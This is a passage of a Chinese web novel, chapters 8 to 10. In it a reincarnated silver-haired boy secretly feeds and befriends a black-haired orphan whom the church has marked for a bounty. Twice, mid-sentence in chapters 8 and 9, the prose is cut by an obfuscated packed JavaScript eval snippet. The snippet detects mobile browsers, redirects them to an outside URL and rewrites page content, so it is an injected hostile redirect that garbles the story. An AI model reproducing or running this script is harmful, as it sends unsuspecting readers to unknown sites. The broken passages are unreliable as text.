再过几年,这些好东西都会变成亮闪闪的金币了,他们利塞小镇就是团结一致、脱贫致富的典范嘛! 什么光明神什么教廷,根本不管穷人死活的,果然还是他们财神爷靠谱啊,昨天一拜,今天发财! —— 三年后。 十一岁的艾尔菲斯又长开了一点,容貌更胜。 现在正值寒冬,金色的阳光落在身上也驱不走冬天的凉意,身形纤长的小少年提着小竹篮,不紧不慢地走着。 漂亮的银发用蓝灰色布条高高束起,鼻梁挺俏,精致小巧的下巴在兔毛围脖中若隐若现,他面无表情的时候,深蓝色的双眼沉静如深海,没有一点小孩儿该有的天真。 “艾尔,篮子里是早餐?今天要吃什么?” 路上遇到别人跟他打招呼,少年瞬间柔和了眉眼,淡红色的唇轻轻勾起,回应了这位婶婶的话,“在汤尼大叔家买了烤面包,软肉包,还有一小罐牛奶。”呼出的白气萦绕在脸前,让他多了份如梦似幻的美。 “哎呀,这几年汤尼做的烤面包确实比以前好吃了点,但还是硬,我的牙口都嚼不动了,我还是去买软面包好了。” 因为馒头包子的念法对这个世界的人来说太陌生,大家总是过一会儿就忘了念法,艾尔菲斯就没再纠正过,这么多年过去,大家一直叫的是软面包软肉包的。 “您快些去,汤尼大叔家买早餐的人可多了,去晚了就没了。” “嗳!”大婶也提着篮子,快步离开了。 艾尔菲斯不是很喜欢寒暄,他迅速结束了对话,收敛了笑容,继续不紧不慢的往回走,闲适的步态倒是显得有几分温柔。 从气质到容貌,艾尔菲斯在利塞小镇就是一道亮眼的风景线,很是引人注意,他不大的年龄更是让人觉得柔弱好欺。 所以他吸引了一头饥饿的小狼崽的注意力,也是理所当然的。 8. 第 8 章 艾尔菲斯正在走神,思考着要不要劝威尔大叔再买几匹马,以后多带几个青壮年进城做买卖。 之前种的经济作物长势挺好,他们镇是一年比一年赚得多了,最近总能从城里带回来一袋钱币,让他在回来的路上很没安全感。 抢劫这种事情在遍布摄像头的法治社会都避免不了,更何况在这种时代,在荒无人烟的荒野小路上,还是多带几个人,配上大刀和弓箭,有点战斗力比较保险。 小教堂就在前方,位于小镇的边缘地带,周围已经看不见其他人了,艾尔菲斯在认真思索着,脑子里已经在挑商队人选了,因为平视着前方走路,便没注意到脚边多了个影子。 一只有些瘦的小手悄无声息地掀开盖住篮子的麻布一角,拿走了食物,又迅速跑开。 艾尔菲斯感受到一股冷风,这才回神,嗯?篮子好像轻了点……他疑惑低头,扯开麻布一看——我那么大个面包呢!!! 少年抬眼一望,锁定了一个矮小的背影,放下篮子便追了过去,同时心中懊恼,在这个地方顺顺利利活了十一年,他真是一点警惕性都没有了。 偷东西的明显是个很小的孩子,但是从头到脚裹得严严实实,根本看不出是谁。 他们小镇现在日子过得挺好,也没听说哪家不负责的父母虐待孩子,谁会缺这一口吃的? 而且艾尔菲斯自认平日里为人大方,谁遇到困难,都会光明正大地来找他寻求帮助,小镇没有孩子会做这种事情,难道是外乡人? 电光火石之间,艾尔菲斯就做完了判断,同时他已经追上了人,拎住了小孩儿后衣领让他没法儿跑了。 长期吃不饱的孩子怎么跑得过比他高了不止一个头的小少年,更何况艾尔菲斯体力还很好。 被抓住的一瞬间,小孩儿迅速低下头不让人看他的脸,把刚偷的面包往嘴里塞,明显是抱着能吃一口是一口的想法。 艾尔菲斯不由被这吞面包的架势惊的眉眼一跳,卧槽——这玩儿可不兴吞啊,不怕划伤嗓子吗? 汤尼大叔这几年的烤面包有所改进,但口感还是比法棍要硬那么一点的,他平时里也不爱吃烤面包,主要是最近其它东西吃的有点腻,想换换口味,他是准备把这一大个烤面包切成片,用油煎脆一点蘸果酱吃的…… 这倒霉孩子,篮子里还有个包子呢,他怎么就挑了个难嚼的偷。 虽然小偷小摸是艾尔菲斯反感的行为,但瞧着这幅饥不择食的模样,他也实在对这小孩儿生不起气来。 他捉住小孩儿的两只手腕,不让他把面包往嘴里塞,好声好气的跟人说话:“你慢些,不嫌噎吗?我篮子里还有热牛奶和软面包,给你吃那个好不好?” 小孩儿置若罔闻,他一边挣扎,一边埋着脑袋,把头凑到手边继续吃,艾尔菲斯只能看见个被兜帽遮住的脑勺。 啧,怎么还吃呢,“小家伙,你有没有听清我说的话?” 艾尔菲斯态度稍微强硬了一点,把面包抢过来,举着手不让小孩儿碰,“你去拿……”那边的篮子。 话未说完,艾尔菲斯声音便卡住了,睁大了眼睛看着那张露出来的脸。 小孩儿被抢走食物,条件反射地想去拿回来,眼睛就跟着面包走了,他一仰头,削瘦的小脸,显眼的黑发黑眸便暴露在艾尔菲斯眼中。 黑色在艾尔菲斯看来是没什么特殊的,为什么说显眼?因为双黑被教廷定义为污秽、不幸,是厄运之子,是黑暗种族。 若发现其它黑暗种族的存在,举报者可得五千金,若发现双黑的存在,举报者可获得万金奖励! 凡是有牧师传教的城镇,黑发黑眸的人走在路上简直就是一堆亮闪闪的金币,能不显眼嘛。 这孩子不止是个无家可归的流浪儿,还是人人喊打的存在啊…… 小孩儿很快意识到自己暴露了面容,他无意识的将还没嚼两口的面包咽下,然后艾尔菲斯担心的事发生了,他真的被噎住了。 艾尔菲斯见小孩儿忽然弯腰,捂着喉咙费力地咳嗽,便意识到发生了什么。 他帮忙拍了两下背,见人脸都憋红了,忽然想起上辈子不知道什么时候看过针对这种情况的急救法,还留了点儿印象。 “别怕,我帮你吐出来。” 艾尔菲斯绕到孩子后面,环住他的腹部,一手握拳将拇指抵住肚脐上面一点,向里向上形成冲击,小孩儿又轻又矮,还被他的力道提起来了,反复几下,小家伙才把面包吐出来。 艾尔菲斯松了口气,其实他不太记得标准动作,但这个时候只能死马当作活马医了,万幸起了作用。 刚想问小孩儿的喉咙有没有被硬物划伤,就被甩开了手。 艾尔菲斯眼见小家伙跑到不远处他放下篮子的地方,提起就跑进了森林,他停住了起势要追过去的脚步,放人走了…… 这小孩儿对他刚才说的话没有丝毫信任,可见防备心有多重了。 若他追上去,只会让人惊慌地逃跑罢了,算了算了…… 艾尔菲斯不经意地扫了一眼地面,看见小孩儿刚吐出来的面包还带点血迹,他皱了皱眉,这倒霉孩子不会真划伤喉管了吧? 当他又留意到旁边小颗的白色硬物时,阿这…… 绝对是小可怜正处于换牙期,本来就有一颗松动了,被磕掉了很正常。 烤面包应该没有可怕到直接磕掉了人一颗好牙……吧? 抱着十二万分的同情,艾尔菲斯回到了前面的小教堂。 卡文牧师见他两手空空的回来,“艾尔,汤尼家的早餐卖完了吗?” “不,爷爷,我刚才有买到,但是遇到一位贫穷的旅人路过我们的小镇,就把我们的早餐送给了他。” 艾尔菲斯知道爷爷是个好人,绝不愿意伤害一个孩子,但爷爷也是真的被洗脑得很彻底,相信双黑之人都是邪恶的,举报这样的人才是保护无辜民众。 所以他必须要向卡文牧师隐瞒双黑小孩儿的事情,否则忠诚于教廷的卡文一定会带人来把那孩子抓走。 卡文笑着夸赞他,“好孩子,你这样做是对的,神的信徒,就应该心怀怜悯,实行仁善之举。” 十句话九句不离神,艾尔菲斯真的心累了……他又取了一个篮子和装牛奶的陶罐,“爷爷,我再去一次汤尼大叔那里,马上回来。” “欸,去吧。” 艾尔菲斯走在路上,始终放心不下刚才的小孩儿。 现在是冬天,冷就不说了,森林里也没什么野果,不然那孩子也不会冒着暴露的风险出来偷东西。 最让人担心的是,希望他不要为了躲人一个劲儿地往深处走,找不着出来的路就麻烦了。 艾尔菲斯稍微庆幸点的是,汤尼大叔家的牛奶是每天早上挤的新鲜的,熬煮过才拿出来卖,喝了热牛奶还能给小孩儿暖暖身体,如果是没煮熟杀菌过的生牛奶,指不定小可怜还得喝出问题…… 吃过早餐后,艾尔菲斯收拾了点生活用品,还有一床被子,准备去森林找人了。 而后犹豫了一下,把这件事拖到了午餐之后。 卡文牧师下午还要给孩子们上课,他要养好精神,所以吃完便去午休了,因此完全没留意到艾尔菲斯背上的竹筐塞着被子和其它乱七八糟的用品,手里提着小篮子往外面走。 站在林子边上,还没开始找呢艾尔菲斯就已经戴上了痛苦面具,这怎么找啊…… 他记得小孩儿是先直着跑,然后就没影儿了,天知道他后来又七拐八拐的去哪儿了。 艾尔菲斯先沿着小可怜走过的路线行动,很快便发现了地面枯叶上的白色牛奶。 对了,那孩子跑那么快,牛奶溢出来也很正常,正好给他指路,考验他眼力的时候到了! 艾尔菲斯走了一阵,发现小孩儿后来的路线是往外围偏移的,也不知道是乱跑乱撞,还是知道进去太深容易迷路,有意识的控制方向。 他看了一眼小竹篮,饿了很久的人最好吃些容易消化的,所以他带了熬煮了很久的蔬菜粥,还有个大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711032|144553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馒头,希望运气好,能在这些东西还热乎的时候找到人。 实在找不到,他就喊几声,把东西留在原地就走人,说不定那孩子听见了就找过来把东西拿走,不当面接触或许还能让他有点安全感。 等等,这种做法有点像喂不亲人的流浪猫犬……他要帮助的是人,还是个缺乏生存能力的小孩儿,不能总是把他养在森林里,所以最好还是能当面见见,跟他谈一谈。 艾尔菲斯走着走着,忽然停下脚步,他看着前方眯了眯眼。 他记得……前面有个小山洞吧? 那个山洞存在很久了,又处于森林外围,马丁大叔说这应该是不知道多久之前野熊的洞穴。 不过现在不用担心还有猛兽会占领那个洞了,森林外围总是有人类在晃,机敏点的兽类都不会在外围圈地盘。 镇上喜欢到处玩耍的孩子都知道那个洞穴,山壁上垂下来的藤蔓和小树枝,以及洞口的杂草将山洞遮了一大半,没那么显眼了。 以前还有调皮的男孩子们不怕黑不怕脏的进去玩冒险游戏,后来发现了一条手腕粗的蛇,被吓的哭兮兮地跑了。 大人们一听说这件事,又添油加醋地描述了小山洞的可怕,严令禁止小孩儿们再进去玩。 因为这个原因,小山洞那边就没人去了,所以对那孩子来说,倒是个不错的去处,至少能遮风挡雨。 就是枯枝烂叶、蛇虫鼠蚁是少不了的,如果他真在那里躲藏睡觉…… 艾尔菲斯心中同情更盛。 —— 温斯特早上吃到热肉包的时候,不知道这是利塞小镇和拉斐城独有的食物,因为他以前都是什么能吃就吃什么,对正常人能吃到什么好东西没有概念。 他只知道,那有着麦香味的软外皮、鲜美的汤汁、咸香细嫩的肉馅的东西,是他这辈子吃过最好吃的食物! 饿狠了的孩子迫不及待地把美味往嘴里塞,若不是有牛奶,保管又要噎住。 已经过了半日,他现在又饿得不行,便把剩下的半罐牛奶喝了,撕了一点烤面包在里面泡了一阵,这才好嚼了许多。 温斯特蜷缩在叶堆上,身上盖着几件薄衣服,他今天吃了两顿,身体舒服了一点,而且下午是冬天最暖和的时候了,他应该趁现在睡一觉,否则等到夜晚,又会冷的很难睡着。 晚上出去找食物比较安全,田间无人看守,他想去偷一点菜,没有办法煮熟,但生吃也没关系,他习惯了。 温斯特很疲惫,他很想睡觉了,但是脑子里始终绷着一根弦——今天看见他脸的男孩会叫人来抓他的!他应该离开这里才对。 可是离开这个山洞,他该去哪里?一味地跑路躲藏,找不到下一个能避寒的地方,他会冻死的。 温斯特出生后就没过过好日子,在知道自己值多少钱后更是一直东躲西藏。 这么多次的饥寒交迫,温斯特也倔强的从来没想过放弃活命,他总觉得自己不会被这些小事打倒,他以后会变强的——从小他就有着这种自己也理解不了的信念感。 忽然,头脑昏沉的小孩儿猛然睁眼,坐直了身体,眼中没有惊慌,只有一片习以为常的漠然。 温斯特迅速将盖在身上的薄衣服塞进包裹里,系在身上,看着地上抢来的篮子和陶罐,觉得以后能用上,便一起拿上了走出了洞口。 明明没有任何异常,但是他就是知道有人在靠近……他一直都对这种事有着准确的预感,听别人说他是“黑暗之子”,或许这是黑暗之子的神奇能力? 温斯特左右看了看,挑了一颗树枝粗壮,枝叶还多的树爬了上去。 他不想在陌生的森林里被一群人追赶,很有可能会迷路的。 温斯特没有听过“最危险的地方就是最安全的地方”这句话,但他脑子里模糊的有这个概念,而且藏起来更省体力。 如果艾尔菲斯知道他这么小就能如此理智地思考了,一定会感叹这孩子好好教导后绝非池中物,可惜……封建迷信害死人啊。 9. 第 9 章 温斯特踩在一根粗壮的树枝上,眼见今天被他偷过食物的人朝洞穴疾步走近,就好像知道了他藏在那里一样。 他往远处望了望,没再看见第二个人。 艾尔菲斯拨开遮住洞穴口的藤条,虽然没见到人,但是他已经确定小可怜是藏身此处了。 他小时候路过这里的时候往里面瞧了一眼,知道有多脏乱,现在再看,里面的枯枝烂叶、虫尸蛇蜕、还有一些动物骨头都没有了,只有一大堆看上去有人躺过的枯叶,洞壁边还立着几根细枝丫很多的树枝,握在一起就像扫帚似的。 艾尔菲斯不禁挑眉,原来还是个爱干净的小流浪汉啊。 现在想来,他早上跟小孩儿近身接触的时候,确实没有闻见异味,手和小脸也是干净的,跟镇上有父母管教,却依旧喜欢玩的身上脏兮兮的皮猴们简直是天壤之别。 艾尔菲斯笑了笑,这讲究的孩子,若是生在富贵之家,也不是人人喊打的双黑,估计会很难伺候。 片刻之后,温斯特就见那个大孩子走了出来,神色平和地离开了,没有一丝没抓住小偷的愤怒。 温斯特疑惑地看着他的背影,这人到底有没有发现自己藏在那里? 他当然注意到那个大孩子背着的背篓已经空了,手上提的篮子没有了。 温斯特爬下树,回到洞穴,看到他的叶堆上多了床对折好的被子,一半垫着,一半盖上,对他的身形来说很合适。 他看着被子和地上的木盆以及里面的几样东西,有洗漱的,有一双厚实的鞋和一件冬衣,一个小布袋里还装着几十枚铜币。 温斯特并没有想过这是送给他的,他忽然想起以前在村里,有个大孩子跟父母吵架,然后带了被子去山上躲了起来,饿了就偷溜回去找食物,温斯特看见了,大人却没看见。 村民两天不见孩子人影,以为出了意外,又把这件事怪到了他头上,等人被找到的时候,也没有谁为他受到的辱骂和挨打而道歉…… 今天被他抢过食物的那个人,也是跟他父母吵架了,所以要赌气出来藏着吗? 温斯特在犹豫要不要带走这些东西,另外找个地方藏身。 他非常需要这些东西,或许能帮他活过这个冬天,那个大孩子却不需要,他还有家可回…… 温斯特的犹豫并非因为他有什么道德底线,生存危机面前,活下去才是他唯一重要的事情,如果有谁抓住了他,温斯特觉得也许他不惜杀人也要逃脱,没人教他好坏,他又怎么会觉得不问自取是不好的行为。 他只是在想,那个大孩子没有叫人来抓他,或许是这个地方太偏远,这里的人根本没听说过他的瞳色和发色代表什么,就像他出生的村子一样…… 但只要突然出现一个人告诉他们,这些人就会露出又惧又贪婪的表情。 只要没有人特意来搜寻他,温斯特就觉得呆在这个森林里还算安全。 但如果他拿走了这么多有价值的东西,那个大孩子一定会很生气,告诉镇上的人这里来了小偷,然后他的处境就会变糟。 温斯特克制住带走所有东西的欲望,他拿了十枚铜币,还吃完了篮子里的所有东西,只希望那个大孩子跟今天早上一样,继续可怜他,不要带人来抓他…… 为了避免撞上等会儿可能会回来的艾尔菲斯,小孩儿囫囵吃完东西,然后就离开了洞穴。 若是艾尔菲斯知道自己害小可怜离开了能稍微防寒的地方,定然会哭笑不得。 下午,艾尔菲斯去看了一下走地鸟那边的生长环境。 最开始养的时候,他们是养在圈里的,后来艾尔菲斯宰了一只来吃,觉得肉不够紧实,就把它们散养在了种竹子的山上。 那座山不高也不算大,没有丰富的植被资源,更没有危险兽类,所以对走地鸟来说很安全。 镇民们在山壁上挖了不少小洞,铺上了干草,每天在洞的附近零散地撒些食物,一番操作下来,走地鸟有吃有住还有自由活动空间,环境美成这样儿了,肉再不好吃就不懂事了。 这几年下来,又懒又行动慢的走地鸟呆在圈里,没有捕食者的威胁,已经繁衍到快一百只了。 刚有小鸟孵出来的时候,大家还担心它们会飞走,结果并没有,这个种族从生到死把“懒”的特性贯彻到底,给它们撒点食物,就绝不会费力气自己去觅食,飞出去玩了也会飞回来的。 万幸它们繁衍的时候没有偷懒…… 目前利塞小镇还没有将走地鸟当食材卖,艾尔菲斯跟大家说再养几年,要等它们再繁衍多一点以后才能维持稳定的供货。 上辈子的他也是万万想不到,自己还有操心鸟类出生率的一天。 山上的竹子还不多,虽然他们成群结队地去森林里挖了好几次,但长到现在,这里估计也就几百棵而已,做竹编品拿去城里卖还是可以的,卖笋还得再等几年,都是珍贵的崽啊! 负责这座山上喂食捡蛋的一个少女看见了他,热情地打了个招呼:“艾尔,你也来了?家里的蛋吃完了?” “伊迪丝姐姐,日安,家里还有蛋,我只是上山随便走走,需要我帮你提篮子吗?看上去有些重。” “不用了,我已经捡完蛋了,现在正要下山,等我找出哪些蛋可以孵出小鸟,就要在天黑之前送回来呢。” 艾尔菲斯也没有真的想帮她提篮子,也不坚持,“好的,辛苦姐姐了,下山路上请小心些。” 伊迪丝走了几步,回头看着小少年不急不缓的闲适步态,感叹一声,艾尔真是一个又好看又优秀的男孩儿,他的温柔也很让人心动,可惜自己大他十岁,实在升不起爱慕之情。 也不知道日后会吸引到镇上哪几家女孩子为他神魂颠倒。 雌性走地鸟会自己生蛋,也会和雄鸟□□生蛋,大家是分不清哪些要留着孵幼鸟,哪些可以直接吃,还是艾尔在夜晚点着油灯,让她们观察,蛋里面有黑点的就送回山上孵化,没有的就留着卖。 面对别人的夸赞,艾尔菲斯借口是进城的时候跟一位见多识广的旅人聊天的时候学到的,这才让大家没像看妖孽的眼神看着他,毕竟他一个小孩儿,会太多东西实在有点奇怪,爷爷都怀疑过是神明入梦告诉他的了。 叽叽喳喳的叫声走哪儿都听得到,艾尔菲斯满意地看着快胖成老母鸡的走地鸟,心里盘算着多种菜品,吸溜…… 可惜即便是他,也不能想吃就吃,这些为数不多的走地鸟还得留着繁衍成一山的量呢。 肉吃不成,蛋还是可以的。 艾尔菲斯晚餐蒸了滑嫩的蛋羹,又熬了一锅什锦蔬菜粥,加了一点猪油和盐,粥吃起来浓稠咸香,装篮的时候,他犹豫了一下,还是把大馒头拿出来了。 经常饿的人胃不好,不能突然吃太多,容易受到刺激的。 等艾尔菲斯到那个洞穴的时候,又没有看到人,他中午送过来的东西还在原位,幸好,留在这里的饭吃的干干净净。 也不知道那小孩儿去哪里了,希望会在饭凉之前回来。 艾尔菲斯带走了中午的餐具,也没有留下等人,他怕小孩儿看见他转身就跑,还是多投喂几天再靠近吧。 温斯特那边,他去田间偷了一把锄头,找了个有藤蔓生长的山体,用一下午时间,在一个山体上挖出一个洞,远不如他之前发现的洞穴那么大,但万一下雨,也是可以挡一挡的。 这洞一挖,他又耗尽了难得吃饱补充好的体力。 蜷缩在枯叶堆上休息了一下,温斯特想到今天吃的美味食物,不由咽了咽口水,感觉肚子更饿了…… 不知道那个大孩子发现食物没有了,会有什么动静。 温斯特想确认有没有人在找他这个小偷,小心翼翼地回到之前的洞穴附近,一路走来,却没留意到任何动静。 在藤蔓野草的遮掩下,温斯特谨慎地往洞里探头观察,东西都还在,却没有瞧见人影。 难道是那个人后悔了,不想离家出走了吗? 小孩儿眼中闪过一丝疑惑,这个地方的人这么富裕吗?这么多东西包括一袋钱,居然会随便放在一个地方…… 此刻,艾尔菲斯在他心中俨然就是一个被宠坏、不知疾苦的小少爷。 在饥饿的时候,身体能有多少能量可以用来御寒,更别提天色渐晚,寒意更重,温斯特冻的有些发抖。 他想到下午刚挖的藏身处还有潮气,远不如这两天他住的这个洞穴干燥温暖,如果睡在新洞里,可能又会生病,但是回到这边,那个放东西的大孩子可能会发现他…… 温斯特盯着里面的那条被子,他想,今晚或许可以把被子带走,明天早上放回来,运气好的话,那个人都不会留意到这种事。 他走进洞穴后,才注意到换了位置的篮子,眼前这个,跟中午那个篮子的大小也有区别。 温斯特的记忆力一向很好,他不觉得自己会记错这些细节,小孩儿抿了抿唇,看来那个大孩子回来过这里。 定定地看着那个新篮子,温斯特竟莫名升起了一点期待……他掀开盖住的麻布,不算意外地发现了还没有凉透的饭。 虽然很饿,温斯特也没有立即抱着碗喝粥,他盯着食物,有点怀疑那个人是不是在里面下了毒想报复他。 最终温斯特还是吃完了那碗粥和蛋羹,他活到现在的原因,多数在于敏锐的直觉,而他想到那个人淡然的气质和早上那短暂的接触过程,直觉告诉他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711033|144553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个人不会下毒的。 吃了艾尔菲斯的三顿饭,小孩儿似乎意识到了人家在可怜他,但他还是不想顺势留在这里,他不喜欢和人接触,被别人知道行踪,只会让他条件反射地想逃走。 温斯特抱着对他来说有些重的被子,趁天色还没彻底黑下来,还能看清路的时候回到了新挖的洞里。 时常处于饥寒交迫中,害怕失去性命的焦躁感始终缠绕着他,小孩儿已经很久没有睡过一个好觉了。 但是今天吃了三顿饱饭,吃的还是新鲜、温热、对他来说属于绝顶美味的食物,温斯特觉得这是他有记忆以来过得最满足的一天。 林中的大树遮挡住了微弱的月光,藤蔓挡住洞口,小洞里是深沉浓重的黑暗。 小孩儿一点也不害怕,他喜欢黑暗,比人人赞颂的光明让他更有安全感。 把小半张脸埋在被子里,被太阳晒过的被子有种令人舒心的味道,遮掩住了一些土腥味。 温斯特很快便沉沉睡去,等他醒来,尚有种落不到实处的虚幻感。 这个时间,天刚蒙蒙亮,镇上的人都还在睡觉,温斯特把被子放回洞穴,去溪边清理了一下自己,他担心晚一点,可能会撞上来洗衣服的人。 看着水里的鱼,温斯特想着,如果今天没有饭吃,他可以来捉鱼。 这个世界有种叫黄粒的谷物,和小米有些像,艾尔菲斯隐约记得他工作后,师母给他打电话说熬点小米粥养胃,所以今天的早餐艾尔菲斯就准备了小米粥,放点甜瓜进去熬煮,吃起来浓稠甜香。 再去汤尼大叔家买几个包子,等他和卡文爷爷吃完后,艾尔菲斯就去投喂小孩儿了。 令他不解的是,他又没看到人,昨天晚上的食物倒是吃干净了,但是他带来的其它东西像是没有动过的样子。 嘿,这小家伙,大冷天的总呆在外面做什么。 见不到人,艾尔菲斯也没办法叮嘱他一些事情,小孩儿警惕心强,还愿意来吃东西就行了,他应该知道自己的“名气”和“身价”,不能要求人家吃几顿就马上交付信任。 就这样,温斯特又被投喂了一天。 晚上,他缩在挖得更深了一些的小洞里,想着不知道那个大孩子还会施舍他多久? 从家里拿食物出来的行为会不会被他家里人发现? 如果有人知道黑发黑眸意味着什么,他又要逃亡了…… 再接受施舍会增大被发现的风险,但是温斯特并不想放弃食物,他需要进食才能好好长大,长大了才能更好的保护自己。 温斯特知道艾尔菲斯住在哪里,那天早上他抢食物的之前,有注意到那个人前行的方向只有一个屋子。 温斯特觉得自己有些不正常,如果这两天的食物都是他抢来的,他不会有任何心理压力,但是有人对他对他好,他就感觉很别扭。 能吃饱睡暖本来应该开心,与之相反的是,每饱腹一顿,他就感受到了负担在逐渐加重,重到他觉得自己快承受不了了…… 投喂小孩儿的第三天下午,艾尔菲斯在门口发现了一个装了水的木盆,盆里有两条巴掌大的鱼。 他认得出,这个木盆跟他之前放在洞穴里的一模一样。 小少年轻笑一声,就像喂了小流浪猫救了它的命,然后小猫捉了老鼠麻雀什么的送给他报恩了。 礼物是没有什么价值的,但这已经是小猫唯一能做的了。 当天的晚餐,温斯特吃到了鱼刺都被清理干净了的鱼片粥和炒时蔬。 之后艾尔菲斯又投喂了小孩儿几天,他倒不觉得麻烦,也就是做饭的时候多放点食材罢了。 等他觉得小家伙胃的适应能力好一些了,早饭就给他准备了牛奶、包子或者蔬菜蛋饼,这个年龄,还是多喝牛奶补充营养吧,肉食也要每天都备一点。 冬天的森林实在没有什么好东西,小孩儿只能给他送鱼,有一次还送来一条死蛇,也不知道是从哪里掏出一条冬眠的蛇…… 小孩儿只回赠了礼物,仍然没有出面见他,艾尔菲斯也不觉失望,他还挺欣赏小家伙的谨慎。 这一天,天空从早到晚都是阴沉的,看着要下雨了,艾尔菲斯送了晚餐后便急匆匆地跑回家了。 再晚一点的时候,一声惊雷落下,声音震耳欲聋。 艾尔菲斯蹙了蹙眉,那个孩子经常不在洞穴里呆着,平时就算了,森林别的没有,就是树多,打雷的时候在里面乱跑是很危险的。 这么想着,小少年拿了点东西,趁着天色还没黑完,进了森林动作灵巧地跳过路上的坑洼横木往洞穴那边跑过去。 财神爷保佑,千万别让我被雷劈了,我可是您在这个世界唯一的信徒啊! 10. 第 10 章 温斯特为了避开人,照旧来的有些晚,但还是能赶在食物还留有余温的时候吃上。 他年龄小,但是天生胆大,外面的雷声并不会吓着他。 只是等会儿必然是要下雨的,温斯特想着,他这几天睡的地方没有这个洞穴大,容易被雨水浸湿衣物,雨天路滑,没有人愿意进森林,他今晚留在这边应该是安全的。 小孩儿正在吃饭,风吹树林的声音掩盖住了脚步声,等洞口垂下来的藤条被拨开的时候,惊的他瞬间握紧了手里吃饭的叉子。 洞里有些昏暗,但视物还是没问题的,艾尔菲斯看见那个小身影,这才松了一口气,“你在就好。” 小身影一动不动地盯着他,雷光乍现,照亮了小孩儿面无表情的脸和黑沉沉的双眼,说实话,看起来是有些诡异的。 艾尔菲斯走了进来,坐在离洞口很近的石头上歇息,顺便跟小孩儿说几句话,声音温柔而轻缓:“饭都送过来有一会儿了,怎么现在才吃?还热着吗?” 在温斯特的记忆中,他没跟人这么平和的呆在一个空间,小孩儿紧绷着身体,就像面前的不是一个温柔好看的哥哥,而是一条毒蛇。 艾尔菲斯不知道小孩儿以往的具体遭遇,但是这么小就独自流浪,有点心理问题,不喜欢跟人交流也是可以理解的。 他并不介意温斯特的沉默,自顾自地说着:“你继续吃吧,我只是来看看你在不在,没其它的事。天气不好,不要到处走动,很危险的。” “……” “怕打雷吗?” 此时,温斯特精神紧绷,身体也做好了随时逃跑的准备,这些都是应激反应,若是对方靠近一步,他便要退开好几步。 听见问话,小孩儿顿了顿,小幅度地摇了摇头,也不管对方能不能看见。 艾尔菲斯看见了,他轻笑一声,“你真勇敢。” 小孩子就是需要夸奖的嘛。 艾尔菲斯来的时候还带着小篮子,他从里面拿出灯盏,拿装油的小陶瓶倒了一点油进去,再取两块细长坚硬的白色石头用力一擦,石头就燃了。 把灯芯点上后,艾尔菲斯把石头上的火吹灭了——别说,这个世界的生火石用起来倒是挺方便的。 昏黄灯光亮起的那一瞬,温斯特又扣上了斗篷上的帽兜,遮住了他的黑色短发。 艾尔菲斯见小孩儿把脸埋进膝盖,不愿见光的样子,叹息一声,“别躲了,我又不是没看过你长什么样子,快吃饭。” 温斯特稍微抬头,露出一双眼注视着对方。 他束起的银发被大风吹的有一点乱,却不显狼狈,是温斯特见过最好看的人,是每个人都会喜爱的相貌,跟自己截然不同。 他看着自己,眉目温和,嘴角含笑,稚嫩的面容看上去一点威胁都没有。 等温斯特继续吃饭的时候,艾尔菲斯才看清小孩儿的样貌。 第一次见面的时候只有匆匆一眼,注意力又在人发色和瞳色上,具体长什么样子还真没看清。 小孩儿脸型很好,眉毛轻斜,显得有几分凌厉不好接近,眼型狭长,睫毛浓密纤长,瞳眸乌黑深邃,鼻梁小巧高挺,薄唇浅红,小小年纪就是一副酷帅模样,就是太瘦了,不然会更好看些。 艾尔菲斯以为自己投喂的是小流浪猫,此刻注意到小孩儿眼中的冷静和警觉,才意识到原来这是只狼崽子。 温斯特能感觉到另一人的目光一直落在他身上,小孩儿抬眼看过去,就见那个人屈着一条腿,胳膊放在膝上单手支着脑袋看他。 艾尔菲斯对上小狼崽的眼睛,微微一笑,逗弄了一下他:“你长得还挺不错的嘛,在这个镇上,是仅次于我的好看,好好吃饭,以后一定会长成俊俏的小伙子。” “……” 小孩儿愣了一下,没有理他,继续吃饭,脸都要埋进碗里了。 “我叫艾尔菲斯,你可以和其他小孩儿一样叫我艾尔哥哥,你叫什么?” 温斯特嘴唇翕动,却吐不出一个字。 艾尔菲斯等了几秒后,哄着小孩儿:“只是名字而已,告诉我也不会让你有什么损失对不对?” 对艾尔菲斯来说只过了几秒,但对小孩儿来说确是挣扎了很久才决定给出回答:“……温斯特。” 说几个字就像冲破了某种束缚,声音微弱而沙哑,小孩儿明显已经很久没有说过话了。 “温斯特?”艾尔菲斯不太确定地问了一遍。 小孩儿点了一下头。 艾尔菲斯又笑:“以后别躲我了,把我拿过来的衣服穿上,大冷天的,逞强还不是自己受罪。” 温斯特不说话,侧偏了一下身体,也不知道是不是不爱听教训。 艾尔菲斯往洞外看了一眼,还有一点光亮,他站起了身拍拍衣服上的灰,“我要回去了,再不走就看不见路了,明天再来看你。” 也不指望对方会回答,他说完话就离开了,但是留下了那盏灯。 温斯特坐在原地盯着几步之外摇动的灯火,片刻,小孩儿起身走过去,双手靠近澄黄火焰,明明是温暖舒服的,心里却酸胀的有些难受。 当晚下了大雨,幸好在小镇醒来之前停了,否则艾尔菲斯就得冒雨去送饭了。 泥路有些打滑,稍微下脚重点就要溅的裤脚都是泥泞,艾尔菲斯走路慢了一些,到洞穴的时间比平时晚,而温斯特居然真的有听他的话没有乱跑。 艾尔菲斯见他总是把兜帽戴着,随时都在防备突然出现个人看到他的模样,不由心疼。 “今天更冷了些,饭也凉的快,快来吃。” 